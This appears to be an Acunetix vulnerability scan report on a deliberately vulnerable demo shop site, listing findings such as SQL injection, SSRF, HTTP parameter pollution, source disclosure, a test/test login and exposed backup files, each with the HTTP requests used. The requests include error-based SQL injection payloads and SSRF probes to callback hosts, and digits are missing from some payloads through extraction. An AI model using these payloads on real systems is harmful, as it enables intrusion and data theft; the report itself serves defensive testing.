HTTP parameter pollution Severity Type Reported by module High Configuration Scripting (HTTP_Parameter_Pollution.script) Description This script is possibly vulnerable to HTTP Parameter Pollution attacks. HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks. Impact The impact depends on the affected web application. An attacker could - Override existing hardcoded HTTP parameters - Modify the application behaviors - Access and, potentially exploit, uncontrollable variables - Bypass input validation checkpoints and WAFs rules Recommendation The application should properly sanitize user input (URL encode) to protect against this vulnerability. References HTTP Parameter Pollution Affected items /hpp/ URL encoded GET input pp was set to 2&n92689=v988769 Parameter precedence: last occurrence Affected link: params.php?p=valid&pp=2&n92689=v988769 Affected parameter: p=valid GET /hpp/?pp=2%26n92689%3dv988769 HTTP/. 23

PHP allow_url_fopen enabled Severity Type Reported by module High Configuration Scripting (PHPInfo.script) Description The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering. allow_url_fopen is enabled by default. Impact Application dependant - possible remote file inclusion. Recommendation You can disable allow_url_fopen from php.ini or.htaccess. php.ini allow_url_fopen = 'off'.htaccess php_flag allow_url_fopen off Affected items /secured/phpinfo.php This vulnerability was detected using the information from phpinfo() page /secured/phpinfo.php allow_url_fopen: On GET /secured/phpinfo.php HTTP/. 24

Script source code disclosure Severity Type Reported by module High Validation Scripting (Script_Source_Code_Disclosure.script) Description It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function. Impact An attacker can gather sensitive information (database connection strings, application logic) by analysis the source code. This information can be used to launch further attacks. Recommendation Analiese the source code of this script and solve the problem. References Source Code Disclosure Can Be Exploited On Your Website Affected items /showimage.php URL encoded GET input file was set to showimage.php Source disclosure pattern found: <?php // header("content-length: " /*. filesize($name)*/); if( isset($_get["file"]) &&!isset($_get["size"]) ){ // open the file in a binary mode header("content-type: image/jpeg"); $name = $_GET["file"]; $fp = fopen($name, 'rb'); // send the right headers header("content-type: image/jpeg"); // dump the picture and stop the script fpassthru($fp); exit; } elseif (isset($_get["file"]) && isset($_get["size"])){ header("content-type: image/jpeg"); $name = $_GET["file"]; $fp = fopen($name.'.tn', 'rb'); // send the right headers header("content-type: image/jpeg"); // dump the picture and stop the script fpassthru($fp); exit; }?> GET /showimage.php?file=showimage.php HTTP/. 25

Server side request forgery Severity Type Reported by module High Configuration Scripting (Server_Side_Request_Forgery.script) Description SSRF as in Server Side Request Forgery is a vulnerability that allows an attacker to force server interfaces into sending packets initiated by the victim server to the local interface or to another server behind the firewall. Consult Web References for more information about this problem. Impact The impact varies according to the affected server interface. Recommendation Your script should properly sanitize user input. References SSRF VS. BUSINESS-CRITICAL APPLICATIONS Affected items /showimage.php URL encoded GET input file was set to http://hit88gohdfx9x.bxss.me/ An HTTP request was initiated for the domain hit88gohdfx9x.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery). HTTP request details: IP address: 76.28.50.65 User agent: GET /showimage.php?file=http://hit88gohdfx9x.bxss.me/&size=60 HTTP/. /showimage.php URL encoded GET input file was set to http://hittpcy6euxv7.bxss.me/ An HTTP request was initiated for the domain hittpcy6euxv7.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery). HTTP request details: IP address: 76.28.50.65 User agent: GET /showimage.php?file=http://hittpcy6euxv7.bxss.me/ HTTP/. 26

SQL injection Severity Type Reported by module High Validation Scripting (Sql_Injection.script) Description This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable. Impact An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine. Recommendation Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability. References VIDEO: SQL Injection tutorial OWASP Injection Flaws How to check for SQL injection vulnerabilities SQL Injection Walkthrough OWASP PHP Top 5 Acunetix SQL Injection Attack Affected items /AJAX/infoartist.php URL encoded GET input id was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/ajax/infoartist.php on line 7 GET /AJAX/infoartist.php?id='%22 HTTP/. /AJAX/infocateg.php URL encoded GET input id was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/ajax/infocateg.php on line 7 27

GET /AJAX/infocateg.php?id='%22 HTTP/. /AJAX/infotitle.php URL encoded POST input id was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/ajax/infotitle.php on line 7 POST /AJAX/infotitle.php HTTP/. Content-Length: 8 Content-Type: application/x-www-form-urlencoded id='%22 /artists.php URL encoded GET input artist was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/artists.php on line 62 GET /artists.php?artist='%22 HTTP/. /product.php URL encoded GET input pic was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/product.php on line 70 GET /product.php?pic='%22 HTTP/. /search.php URL encoded GET input test was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/search.php on line 6 POST /search.php?test='%22 HTTP/. Content-Length: 22 Content-Type: application/x-www-form-urlencoded 28

gobutton=go&searchfor= /userinfo.php URL encoded POST input pass was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/userinfo.php on line 0 POST /userinfo.php HTTP/. Content-Length: 25 Content-Type: application/x-www-form-urlencoded pass='%22&uname=elvkswdd /userinfo.php URL encoded POST input uname was set to '" Error message found: Warning: mysql_fetch_array() expects parameter to be resource, boolean given in /hj/var/www/userinfo.php on line 0 POST /userinfo.php HTTP/. Content-Length: 33 Content-Type: application/x-www-form-urlencoded pass=g00dpa%24%24w0rd&uname='%22 29

SQL injection (verified) Severity Type Reported by module High Validation Scripting (Sql_Injection.script) Description This script is possibly vulnerable to SQL Injection attacks. SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable. Impact An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine. Recommendation Your script should filter metacharacters from user input. Check detailed information for more information about fixing this vulnerability. References Acunetix SQL Injection Attack VIDEO: SQL Injection tutorial OWASP Injection Flaws How to check for SQL injection vulnerabilities SQL Injection Walkthrough OWASP PHP Top 5 Affected items /listproducts.php URL encoded GET input artist was set to (select and row(,)>(select count(*),concat(concat(char(52),char(67),char(7),char(75),char(66),char(87),char(02),char(5),cha R(68),CHAR(7),CHAR(6)),floor(rand()*2))x from (select union select 2)a group by x limit )) Injected pattern found: 4CuKBWfsDut GET /listproducts.php?artist=(select%20%20and%20row(%2c)>(select%20count(*)%2cconcat(conc at(char(52)%2cchar(67)%2cchar(7)%2cchar(75)%2cchar(66)%2cchar(87)%2cchar(02)%2cchar( 5)%2cCHAR(68)%2cCHAR(7)%2cCHAR(6))%2cfloor(rand()*2))x%20from%20(select%20%20union %20select%202)a%20group%20by%20x%20limit%20)) HTTP/. 30

/listproducts.php URL encoded GET input cat was set to (select and row(,)>(select count(*),concat(concat(char(52),char(67),char(7),char(90),char(69),char(08),char(50),char(0),cha R(50),CHAR(57),CHAR(78)),floor(rand()*2))x from (select union select 2)a group by x limit )) Injected pattern found: 4CuZEl2e29N GET /listproducts.php?cat=(select%20%20and%20row(%2c)>(select%20count(*)%2cconcat(concat( CHAR(52)%2cCHAR(67)%2cCHAR(7)%2cCHAR(90)%2cCHAR(69)%2cCHAR(08)%2cCHAR(50)%2cCHAR(0) %2cCHAR(50)%2cCHAR(57)%2cCHAR(78))%2cfloor(rand()*2))x%20from%20(select%20%20union%20se lect%202)a%20group%20by%20x%20limit%20)) HTTP/. /secured/newuser.php URL encoded POST input uuname was set to 'and(select from(select count(*),concat((select concat(char(52),char(67),char(7),char(74),char(76),char(53),char(48),char(),char(66),char(69), CHAR(02)) from information_schema.tables limit 0,),floor(rand(0)*2))x from information_schema.tables group by x)a)and' Injected pattern found: 4CuJL50oBEf POST /secured/newuser.php HTTP/. Content-Length: 504 Content-Type: application/x-www-form-urlencoded (line truncated)...up=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email. tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606&urname=jojvplej&u uname='and(select%20%20from(select%20count(*)%2cconcat((select%20concat(char(52)%2cchar (67)%2cCHAR(7)%2cCHAR(74)%2cCHAR(76)%2cCHAR(53)%2cCHAR(48)%2cCHAR()%2cCHAR(66)%2cCH AR(69)%2cCHAR(02))%20from%20information_schema.tables%20limit%200%2c)%2cfloor(rand(0)* 2))x%20from%20information_schema.tables%20group%20by%20x)a)and' 3

Weak password Severity Type Reported by module High Informational Scripting (Html_Authentication_Audit.script) Description Manual confirmation is required for this alert. This page is using a weak password. Acunetix WVS was able to guess the credentials required to access this page. A weak password is short, common, a system default, or something that could be rapidly guessed by executing a brute force attack using a subset of all possible passwords, such as words in the dictionary, proper names, words based on the user name or common variations on these themes. Impact An attacker may access the contents of the password-protected page. Recommendation Enforce a strong password policy. Don't permit weak passwords or passwords based on dictionary words. References Authentication Hacking Attacks Wikipedia - Password strength Affected items /userinfo.php Username: test, Password: test POST /userinfo.php HTTP/. Content-Length: 20 Content-Type: application/x-www-form-urlencoded pass=test&uname=test 32

.htaccess file readable Severity Type Reported by module Medium Validation Scripting (htaccess_file_readable.script) Description This directory contains an.htaccess file that is readable. This may indicate a server misconfiguration. htaccess files are designed to be parsed by web server and should not be directly accessible. These files could contain sensitive information that could help an attacker to conduct further attacks. It's recommended to restrict access to this file. Impact Possible sensitive information disclosure. Recommendation Restrict access to the.htaccess file by adjusting the web server configuration. Affected items /Mod_Rewrite_Shop No details are available. GET /Mod_Rewrite_Shop/.htaccess HTTP/. 33

Application error message Severity Type Reported by module Medium Validation Scripting (Error_Message.script) Description This page contains an error/warning message that may disclose sensitive information.the message can also contain the location of the file that produced the unhandled exception. This may be a false positive if the error message is found in documentation pages. Impact The error messages may disclose sensitive information. This information can be used to launch further attacks. Recommendation Review the source code for this script. References PHP Runtime Configuration Affected items /listproducts.php URL encoded GET input artist was set to Error message found: You have an error in your SQL syntax GET /listproducts.php?artist= HTTP/. /listproducts.php URL encoded GET input artist was set to Error message found: Unknown column 'Array' in 'where clause' GET /listproducts.php?artist[$acunetix]= HTTP/. /listproducts.php URL encoded GET input cat was set to Error message found: Unknown column 'Array' in 'where clause' GET /listproducts.php?cat[$acunetix]= HTTP/. 34

/listproducts.php URL encoded GET input cat was set to Error message found: You have an error in your SQL syntax GET /listproducts.php?cat= HTTP/. /secured/newuser.php URL encoded POST input uuname was set to '"\'\"); ]*{%0d%0a<%00>%bf%27' Error message found: You have an error in your SQL syntax POST /secured/newuser.php HTTP/. Content-Length: 23 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606&urname=moqpcgrb& uuname='"\'\"); ]*{%0d%0a<%00>%bf%27' /secured/newuser.php URL encoded POST input uuname was set to '"() Error message found: You have an error in your SQL syntax POST /secured/newuser.php HTTP/. Content-Length: 89 Content-Type: application/x-www-form-urlencoded signup=signup&uaddress=337%20laguna%20street&ucc=4&uemail=sample%40email.tst&upass=g00dpa%24%24w0rd&upass2=g00dpa%24%24w0rd&uphone=555-666-0606&urname=jvyykngv& uuname='%22() /showimage.php URL encoded GET input file was set to Error message found: Warning: fopen(): Unable to access Array.tn in /hj/var/www/showimage.php on line 9 Warning: fopen(array.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 9 GET /showimage.php?file[$acunetix]=&size=60 HTTP/. 35

/showimage.php URL encoded GET input file was set to Error message found: Warning: fopen(): Unable to access.tn in /hj/var/www/showimage.php on line 9 Warning: fopen(.tn): failed to open stream: No such file or directory in /hj/var/www/showimage.php on line 9 GET /showimage.php?file=&size=60 HTTP/. /showimage.php URL encoded GET input file was set to Error message found: Warning: fopen(): Filename cannot be empty in /hj/var/www/showimage.php on line 7 GET /showimage.php?file= HTTP/. 36

Backup files Severity Type Reported by module Medium Validation Scripting (Backup_File.script) Description A possible backup file was found on your web-server. These files are usually created by developers to backup their work. Impact Backup files can contain script sources, configuration files or other sensitive information that may help an malicious user to prepare more advanced attacks. Recommendation Remove the file(s) if they are not required on your website. As an additional step, it is recommended to implement a security policy within your organization to disallow creation of backup files in directories accessible from the web. References Protecting Confidential Documents at Your Site Testing for Old, Backup and Unreferenced Files (OWASP-CM-006) Security Tips for Server Configuration Affected items 37

/index.bak This file was found using the pattern ${filename}.bak. Original filename: index.php Source code pattern found: <?PHP require_once("database_connect.php");?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/tr/html4/loose.dtd"> <html><!-- InstanceBegin template="/templates/main_dynamic_template.dwt.php" codeoutsidehtmlislocked="false" --> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-2"> <!-- InstanceBeginEditable name="document_title_rgn" --> <title>home of WASP Art</title> <!-- InstanceEndEditable --> <link rel="stylesheet" href="style.css" type="text/css"> <!-- InstanceBeginEditable name="headers_rgn" --> <!-- here goes headers headers --> <!-- InstanceEndEditable --> <script language="javascript" type="text/javascript"> <!-- function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appname=="netscape")&&(parseint(appversion)==4)) { document.mm_pgw=innerwidth; document.mm_pgh=innerheight; onresize=mm_reloadpage; }} else if (innerwidth!=document.mm_pgw innerheight!=document.mm_pgh) location.reload(); } MM_reloadPage(true); //--> </script> </head> <body> <div id="mainlayer" style="position:absolute; width:700px; z-index:"> <div id="masthead"> <h id="sitename">acunetix ART</h> <h6 id="siteinfo">test and Demonstration site for Acunetix Web Vulnerability Scanner</h6> <div id="globalnav"> <a href="index.php">home</a> <a href="categories.php">categories</a> <a href="artists.php">artists </a> <a href="disclaimer.php">disclaimer</a> <a href="cart.php">your cart</a> <a href="guestbook.php">guestbook</a> </div> </div> <!-- end masthead --> <!-- begin content --> <!-- InstanceBeginEditable name="content_rgn" --> <div id="content"> <h2 id="pagename">welcome to our page</h2> <div class="story"> <h3>test site for WASP.</h3> </div> </div> <!-- InstanceEndEditable --> <!--end content --> <div id="navbar"> <div id="search"> <form action="search.php" method="post"> <label>search art</label> <input name="searchfor" type="text" size="0"> <input name="gobutton" type="submit" value="go"> </form> </div> <div id="sectionlinks"> 38

<ul> <li><a href="categories.php">browse categories</a></li> <li><a href="artists.php">browse artists</a></li> <li><a href="cart.php">your cart</a></li> <li><a href="login.php">signup</a></li> <li><a href="userinfo.php">your profile</a></li> <li><a href="guestbook.php">our guestbook</a></li> <?PHP if (isset($_cookie["login"]))echo '<li><a href="../logout.php">logout</a>';?></li> </ul> </div> <div class="relatedlinks"> <h3>links</h3> <ul> <li><a href="http://www.acunetix.com">security art</a></li> <li><a href="http://www.eclectasy.com/fractal-explorer/index.html">fractal Explorer</a></li> </ul> </div> <div id="advert"> <p><img src="images/add.jpg" alt="" width="07" height="66"></p> </div> </div> <!--end navbar --> <div id="siteinfo"> <a href="http://www.acunetix.com">about Us</a> <a href="redir.php?r=index.php">site Map</a> <a href="privacy.php">privacy Policy</a> <a href="mailto:wasp@acunetix.com">contact Us</a> 2004 Acunetix Ltd </div> <br> </div> </body> <!-- InstanceEnd --></html> GET /index.bak HTTP/. Range: bytes=0-99999 39

/index.zip This file was found using the pattern ${filename}.zip. Original filename: index.php Source code pattern found: <?PHP require_once("database_connect.php");?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/tr/html4/loose.dtd"> <html><!-- InstanceBegin template="/templates/main_dynamic_template.dwt.php" codeoutsidehtmlislocked="false" --> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-2"> <!-- InstanceBeginEditable name="document_title_rgn" --> <title>home of WASP Art</title> <!-- InstanceEndEditable --> <link rel="stylesheet" href="style.css" type="text/css"> <!-- InstanceBeginEditable name="headers_rgn" --> <!-- here goes headers headers --> <!-- InstanceEndEditable --> <script language="javascript" type="text/javascript"> <!-- function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appname=="netscape")&&(parseint(appversion)==4)) { document.mm_pgw=innerwidth; document.mm_pgh=innerheight; onresize=mm_reloadpage; }} else if (innerwidth!=document.mm_pgw innerheight!=document.mm_pgh) location.reload(); } MM_reloadPage(true); //--> </script> </head> <body> <div id="mainlayer" style="position:absolute; width:700px; z-index:"> <div id="masthead"> <h id="sitename">acunetix ART</h> <h6 id="siteinfo">test and Demonstration site for Acunetix Web Vulnerability Scanner</h6> <div id="globalnav"> <a href="index.php">home</a> <a href="categories.php">categories</a> <a href="artists.php">artists </a> <a href="disclaimer.php">disclaimer</a> <a href="cart.php">your cart</a> <a href="guestbook.php">guestbook</a> </div> </div> <!-- end masthead --> <!-- begin content --> <!-- InstanceBeginEditable name="content_rgn" --> <div id="content"> <h2 id="pagename">welcome to our page</h2> <div class="story"> <h3>test site for WASP.</h3> </div> </div> <!-- InstanceEndEditable --> <!--end content --> <div id="navbar"> <div id="search"> <form action="search.php" method="post"> <label>search art</label> <input name="searchfor" type="text" size="0"> <input name="gobutton" type="submit" value="go"> </form> </div> <div id="sectionlinks"> 40

<ul> <li><a href="categories.php">browse categories</a></li> <li><a href="artists.php">browse artists</a></li> <li><a href="cart.php">your cart</a></li> <li><a href="login.php">signup</a></li> <li><a href="userinfo.php">your profile</a></li> <li><a href="guestbook.php">our guestbook</a></li> <?PHP if (isset($_cookie["login"]))echo '<li><a href="../logout.php">logout</a>';?></li> </ul> </div> <div class="relatedlinks"> <h3>links</h3> <ul> <li><a href="http://www.acunetix.com">security art</a></li> <li><a href="http://www.eclectasy.com/fractal-explorer/index.html">fractal Explorer</a></li> </ul> </div> <div id="advert"> <p><img src="images/add.jpg" alt="" width="07" height="66"></p> </div> </div> <!--end navbar --> <div id="siteinfo"> <a href="http://www.acunetix.com">about Us</a> <a href="redir.php?r=index.php">site Map</a> <a href="privacy.php">privacy Policy</a> <a href="mailto:wasp@acunetix.com">contact Us</a> 2004 Acunetix Ltd </div> <br> </div> </body> <!-- InstanceEnd --></html> GET /index.zip HTTP/. Range: bytes=0-99999 4

Directory listing Severity Type Reported by module Medium Information Scripting (Directory_Listing.script) Description The web server is configured to display the list of files contained in this directory. This is not recommended because the directory may contain files that are not normally exposed through links on the web site. Impact A user can view a list of all files from this directory possibly exposing sensitive information. Recommendation You should make sure the directory does not contain sensitive information or you may want to restrict directory listings from the web server configuration. References Directory Listing and Information Disclosure Affected items /.idea Pattern found: <title>index of /.idea/</title> GET /.idea/ HTTP/. /.idea/ /.idea/scopes Pattern found: <title>index of /.idea/scopes/</title> GET /.idea/scopes/ HTTP/. /.idea/scopes/ /admin Pattern found: <title>index of /admin/</title> GET /admin/ HTTP/. /admin/ 42

/CVS Pattern found: <title>index of /CVS/</title> GET /CVS/ HTTP/. /CVS/ /Flash Pattern found: <title>index of /Flash/</title> GET /Flash/ HTTP/. /Flash/ /images Pattern found: <title>index of /images/</title> GET /images/ HTTP/. /images/ /Mod_Rewrite_Shop/images Pattern found: <title>index of /Mod_Rewrite_Shop/images/</title> GET /Mod_Rewrite_Shop/images/ HTTP/. /Mod_Rewrite_Shop/images/ 43

/pictures Pattern found: <title>index of /pictures/</title> GET /pictures/ HTTP/. /pictures/ /Templates Pattern found: <title>index of /Templates/</title> GET /Templates/ HTTP/. /Templates/ 44

Error message on page Severity Type Reported by module Medium Validation Scripting (Text_Search_File.script) Description This page contains an error/warning message that may disclose sensitive information.the message can also contain the location of the file that produced the unhandled exception. This may be a false positive if the error message is found in documentation pages. Impact The error messages may disclose sensitive information. This information can be used to launch further attacks. Recommendation Review the source code for this script. References PHP Runtime Configuration Affected items /pictures/path-disclosure-unix.html Pattern found: <b>warning</b>: Sablotron error on line : XML parser error 3: no element found in <b>/usr/local/etc/httpd/htdocs2/destination-ce/destinationce/system/class/xslttransform.class.php</b> on line <b>70</b><br /> GET /pictures/path-disclosure-unix.html HTTP/. /pictures/ 45

HTML form without CSRF protection Severity Type Reported by module Medium Informational Crawler Description This alert may be a false positive, manual confirmation is required. Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Acunetix WVS found a HTML form with no apparent CSRF protection implemented. Consult details for more information about the affected HTML form. Impact An attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application. Recommendation Check if this form requires CSRF protection and implement CSRF countermeasures if necessary. Affected items / Form name: <empty> Form action: http://testphp.vulnweb.com/search.php?test=query Form method: POST Form inputs: - searchfor [Text] - gobutton [Submit] GET / HTTP/. 46

/comment.php Form name: fcomment Form action: http://testphp.vulnweb.com/comment.php Form method: POST Form inputs: - name [Text] - comment [TextArea] - Submit [Submit] - phpaction [Hidden] GET /comment.php HTTP/. /artists.php?artist= /guestbook.php Form name: faddentry Form action: http://testphp.vulnweb.com/guestbook.php Form method: POST Form inputs: - name [Hidden] - text [TextArea] - submit [Submit] GET /guestbook.php HTTP/. / /hpp (94f5fea3c42cbd54a6953a8b5a4) Form name: <empty> Form action: http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=2 Form method: GET Form inputs: - aaaa/ [Submit] GET /hpp/?pp=2 HTTP/. 47

/hpp/ /login.php Form name: loginform Form action: http://testphp.vulnweb.com/userinfo.php Form method: POST Form inputs: - uname [Text] - pass [Password] GET /login.php HTTP/. / /signup.php Form name: form Form action: http://testphp.vulnweb.com/secured/newuser.php Form method: POST Form inputs: - uuname [Text] - upass [Password] - upass2 [Password] - urname [Text] - ucc [Text] - uemail [Text] - uphone [Text] - uaddress [TextArea] - signup [Submit] GET /signup.php HTTP/. /login.php 48

Insecure crossdomain.xml file Severity Type Reported by module Medium Configuration Scripting (Crossdomain_XML.script) Description The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml). When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so: <cross-domain-policy> <allow-access-from domain="*" /> </cross-domain-policy> This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files. Impact Using an insecure cross-domain policy file could expose your site to various attacks. Recommendation Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy. References Cross-domain policy file usage recommendations for Flash Player Cross-domain policy files Affected items Web Server The crossdomain.xml file is located at http://testphp.vulnweb.com/crossdomain.xml GET http://testphp.vulnweb.com/crossdomain.xml HTTP/. Web Server The crossdomain.xml file is located at /crossdomain.xml GET /crossdomain.xml HTTP/. 49

JetBrains.idea project directory Severity Type Reported by module Medium Validation Scripting (JetBrains_Idea_Project_Directory.script) Description The.idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file datasources.ids contains information for connecting to the database and credentials. The workspace.xml file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system. Impact These files may expose sensitive information that may help an malicious user to prepare more advanced attacks. Recommendation Remove these files from production systems or restrict access to the.idea directory. To deny access to all the.idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from.htaccess): <Directory ~ "\.idea"> Order allow,deny Deny from all </Directory> References Apache Tips & Tricks: Deny access to some folders Affected items / workspace.xml project file found at : /.idea/workspace.xml Pattern found: <project version="4"> GET /.idea/workspace.xml HTTP/. 50

PHP errors enabled Severity Type Reported by module Medium Configuration Scripting (PHPInfo.script) Description The display_errors directive determines whether error messages should be sent to the browser. These messages frequently contain sensitive information about your web application environment, and should never be presented to untrusted sources. display_errors is on by default. Impact Possible information disclosure. Recommendation You can disable display_errors from php.ini or.htaccess. php.ini display_errors = 'off' log_errors = 'on'.htaccess php_flag display_errors off php_flag log_errors on Affected items /secured/phpinfo.php This vulnerability was detected using the information from phpinfo() page /secured/phpinfo.php display_errors: On GET /secured/phpinfo.php HTTP/. 5

PHP open_basedir is not set Severity Type Reported by module Medium Configuration Scripting (PHPInfo.script) Description The open_basedir configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. open_basedir is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the open_basedir restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited. Impact Application dependant - possible remote code inclusion. Recommendation You can set open_basedir from php.ini php.ini open_basedir = your_application_directory Affected items /secured/phpinfo.php This vulnerability was detected using the information from phpinfo() page /secured/phpinfo.php open_basedir: no value GET /secured/phpinfo.php HTTP/. 52

PHPinfo page found Severity Type Reported by module Medium Validation Scripting (PHPInfo.script) Description PHPinfo page has been found in this directory. The PHPinfo page outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License. Impact This file may expose sensitive information that may help an malicious user to prepare more advanced attacks. Recommendation Remove the file from production systems. References PHP phpinfo Affected items /secured/phpinfo.php phpinfo() page found at : /secured/phpinfo.php GET /secured/phpinfo.php HTTP/. 53

Source code disclosure Severity Type Reported by module Medium Validation Scripting (Text_Search_File.script) Description Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives. Impact An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to conduct further attacks. Recommendation Remove this file from your website or change its permissions to remove access. References Source Code Disclosure Can Be Exploited On Your Website Affected items 54

/index.bak Pattern found: <?PHP require_once("database_connect.php");?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/tr/html4/loose.dtd"> <html><!-- InstanceBegin template="/templates/main_dynamic_template.dwt.php" codeoutsidehtmlislocked="false" --> <head> <meta http-equiv="content-type" content="text/html; charset=iso-8859-2"> <!-- InstanceBeginEditable name="document_title_rgn" --> <title>home of WASP Art</title> <!-- InstanceEndEditable --> <link rel="stylesheet" href="style.css" type="text/css"> <!-- InstanceBeginEditable name="headers_rgn" --> <!-- here goes headers headers --> <!-- InstanceEndEditable --> <script language="javascript" type="text/javascript"> <!-- function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appname=="netscape")&&(parseint(appversion)==4)) { document.mm_pgw=innerwidth; document.mm_pgh=innerheight; onresize=mm_reloadpage; }} else if (innerwidth!=document.mm_pgw innerheight!=document.mm_pgh) location.reload(); } MM_reloadPage(true); //--> </script> </head> <body> <div id="mainlayer" style="position:absolute; width:700px; z-index:"> <div id="masthead"> <h id="sitename">acunetix ART</h> <h6 id="siteinfo">test and Demonstration site for Acunetix Web Vulnerability Scanner</h6> <div id="globalnav"> <a href="index.php">home</a> <a href="categories.php">categories</a> <a href="artists.php">artists </a> <a href="disclaimer.php">disclaimer</a> <a href="cart.php">your cart</a> <a href="guestbook.php">guestbook</a> </div> </div> <!-- end masthead --> <!-- begin content --> <!-- InstanceBeginEditable name="content_rgn" --> <div id="content"> <h2 id="pagename">welcome to our page</h2> <div class="story"> <h3>test site for WASP.</h3> </div> </div> <!-- InstanceEndEditable --> <!--end content --> <div id="navbar"> <div id="search"> <form action="search.php" method="post"> <label>search art</label> <input name="searchfor" type="text" size="0"> <input name="gobutton" type="submit" value="go"> </form> </div> <div id="sectionlinks"> <ul> <li><a href="categories.php">browse categories</a></li> 55

